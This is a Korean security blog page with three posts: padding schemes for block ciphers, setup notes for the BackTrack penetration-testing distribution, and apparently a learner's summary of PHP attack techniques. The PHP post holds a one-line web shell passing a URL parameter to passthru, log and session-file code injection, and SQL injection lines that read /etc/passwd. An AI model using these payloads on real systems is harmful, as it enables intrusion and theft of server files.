Back Track 4 Final Version Release!  (0) 2010.01.31
Wikto & Nikto  (0) 2009.11.28
How to use NetCat[NC]?  (0) 2009.10.31
Posted by LinkC
 TAG NC, Netcat, 넷캣

2009.10.31 15:33 Etc../Encryption


 

패딩은 무엇인가?

ECB, CBC 모드의 DES, Blowfish 같은 블럭 암호 알고리즘은 암호 입력이 블럭 크기의 정확한 배수가 되어야 한다.
만약, 암호화될 평문이 정확한 배수가 아니면, 암호화전에 패딩 데이터를 추가하는 것이 필요하다.
복호화할때, 수신측은 명백한 방법으로 패딩을 제거하는 방법을 알아야 한다.



5가지 일반적인 방법.

1. 패딩되는 바이트의 수의 같은 값으로 모두 패딩 : PKCS7 패딩
2. 0x80 패딩 후 0으로 패딩
3. 0으로 패딩 후 마지막 바이트는 패딩되는 바이트의 수로 패딩 : ANSIX923 패딩
4. 0으로 패딩 : Zeros 패딩
5. 0x20으로 패딩



랜덤 패딩

만약 전송할 메시지가 블럭 길이보다 작고, ECB 모드로 암호화된다면, 암호문은 동일한 메시지에 동일한 값이 될것이다.
한 해결책은 위 3번째 방법을 사용하되, 0 대신 랜덤 값을 패딩해라.




언제 패딩을 해야하고 언제 안해야 하나?

1. 일반적인 방법으로, 만약 프로그래머로서 당신이 제어할 수 없는 가변 길이의 데이터를 암호화한다면,
CBC 모드로 패딩해라. 모호함을 피하기위해서, 패딩을 추가하는 표준 방법을 항상 사용해라.
2. 만약 평문이 항상 고정 길이를 가진다면, 패딩 사용을 피할 수 있다. -> 고정 길이와 블록 길이가 같다는 조건이 필요
3. 암호화에 CFB 또는 OFB 모드가 사용되거나 RC4 등 스트림 암호 알고리즘이 사용된다면, 패딩을 할 필요가 없다.

출처 : http://www.di-mgt.com.au/cryptopad.html



 

NET Framework Class Library

(System.Security.Cryptography, PaddingMode Enumeration)

대부분의 일반 텍스트 메시지는 블록의 바이트 수가 완전히 채워져 있지 않으므로 마지막 블록을 채우기에 바이트가 모자란 경우가 가끔 있습니다. 이런 경우에는 택스트에 패딩 문자열이 추가됩니다. 예를 들어, 블록 길이가 64비트이고 마지막 블록에 40비트만 있으면 패딩 문자열 24비트가 추가됩니다.

일부 암호화 표준이 특정한 패딩 구성표를 지정합니다. 다음 예제에서는 이러한 모드의 작동 방식을 보여 줍니다. 블록 길이가 8, 데이터 길이가 9, 8진수 패딩 수가 7 그리고 데이터가 FF FF FF FF FF FF FF FF FF인 경우 결과는 다음과 같습니다.

데이터: FF FF FF FF FF FF FF FF FF
a. None : FF FF FF FF FF FF FF FF FF
아무 것도 채워지지 않았습니다(*. 파일 암호화시 문제가 발생한다).

b. X923 패딩: FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 07
ANSIX923 패딩 문자열에서는 마지막 바이트를 총 패딩 바이트 수로 설정하고 나머지 바이트는 0으로 채웁니다.

c. PKCS7 패딩: FF FF FF FF FF FF FF FF FF 07 07 07 07 07 07 07
PKCS #7 패딩 문자열은 바이트 시퀀스로 구성되어 있으며, 각각의 시퀀스는 추가된 패딩 바이트의 전체 수와 동일합니다. 

d. ISO10126 패딩: FF FF FF FF FF FF FF FF FF 7D 2A 75 EF F8 EF 07
ISO10126 패딩 문자열에서는 마지막 바이트를 총 패딩 바이트 수로 설정하고 나머지 바이트는 임의의 데이터로 채웁니다.

e. Zeros 패딩 : FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00
패딩 문자열은 0으로 설정된 바이트로 구성됩니다.

출처 : MSDN


'Etc.. > Encryption' 카테고리의 다른 글

Cryptography!  (0) 2010.06.16
What is CRC?  (0) 2009.11.06
What is Padding?  (0) 2009.10.31
Posted by LinkC

2009.10.28 23:23 Web

Wowhacker 의 b0BaNa 님의 번역본 요약
기본적으로 PHP 취약점 이용
ex)require($file);

2.2 - 원격으로 명령어 실행

<? passthru($_GET[cmd]) ?>

2.2.1-아파치 로그로 PHP 코드 삽입

error.log를 이용 [ 경로 필요 ]

2.2.2-프로세스 테이블에 PHP 코드 삽입

/proc/self  마지막으로 사용된 PID 링크

2.2.3-그림으로 PHP 코드 삽입

코드는 그대로 하고 확장자만 바꿔 우회

2.2.4-세션 파일을 이용한 PHP 코드 삽입

<?php
$user=$_GET['user'];
session_register("user");
session_start();
?>

2.2.5-다른 파일들에 PHP 코드 삽입

ex) FTP 로그, webalizer ,PUT Method

2.3 쉘 획득

ex) wget , 리버스 텔넷

2.4 원격으로 파일 첨가하기

allow_url_include 허용되었다면, 직접 쉘 삽입 가능

3. 블라인드 sql injection



3.2 로컬 파일 읽어오기

union select load_file('/etc/passwd');

3.3 brute force 없이 데이터 획득

outfile "/tmp/sql.txt"
union select 1,2,3,load_file('/tmp/sql.txt');


3.4 원격으로 명령어 실행







Posted by LinkC

2009.10.28 20:29 Etc..

모의해킹에 유용한 여러가지 파일을 미리 첨부한 리눅스로 꽤 유용한듯

Down: 훅크선장님 블로그에서 받을수 있다
 
http://hook.tistory.com/

default ID : root

passwd: toor

*IP 설정

 ifconfig [인터페이스 카드] ip netmask [subnet mask] broadcast broadcast-ip route add default gw gateway-ip

ex) ifconfig eth0 192.168.69.12 netmask 255.255.255.0 broadcast 192.168.69.255 route add default gw 192.168.69.2

*network 설정

/etc/init.d/networking start/stop/restart



참고:
http://www.remote-exploit.org/backtrack.html
http://en.wikipedia.org/wiki/BackTrack


 

'Etc..' 카테고리의 다른 글

PHP Tip [ 지속 수정 ]  (0) 2009.11.06
BackTrack 설치!  (2) 2009.10.28
Posted by LinkC

블로그 이미지
LinkC

태그목록

Tistory Cumulus Flash tag cloud by BLUEnLIVE requires Flash Player 9 or better.

공지사항

Yesterday51
Today46
Total318,336

달력

 « |  » 2018.09
            1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30            

최근에 받은 트랙백

글 보관함


. .